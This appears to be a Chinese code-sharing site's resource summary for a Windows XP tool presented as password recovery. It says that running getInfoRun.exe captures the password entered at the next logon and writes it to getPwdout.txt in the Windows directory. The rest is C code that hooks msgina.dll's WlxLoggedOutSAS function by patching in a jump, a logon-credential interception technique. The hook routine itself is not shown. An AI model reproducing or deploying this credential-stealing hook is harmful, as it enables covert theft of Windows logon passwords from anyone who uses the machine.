资 源 简 介
应用背景当忘记XP系统密码时，可以编译getInfo的dll和exe，执行getInfoRun.exe在下次登录时就可以获取密码了，密码文件保存在windows根目录下的getPwdout.txt文件中关键技术DWORD WINAPI StartHook(LPVOID lpParam)
{
//得到msgina.dll
//hooktable.hMsgina
int n = 0;
hooktable.hMsgina = LoadLibrary("msgina.dll");
n = GetLastError();
if (NULL == hooktable.hMsgina)
{
printf("getmoduleHandle msgina.dll error");
return -1;
}
//得到WlxLoggedOutSAS
hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS");
if (NULL == hooktable.OldADDR)
{
printf("GetProcAddress WlxLoggedOutSAS error");
return -1;
}
int *OpCode = (int*)&hooktable.charJmpCode[1];
int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5;
*OpCode = Code;
HookWlxLoggedOutSAS();
return 0;
}
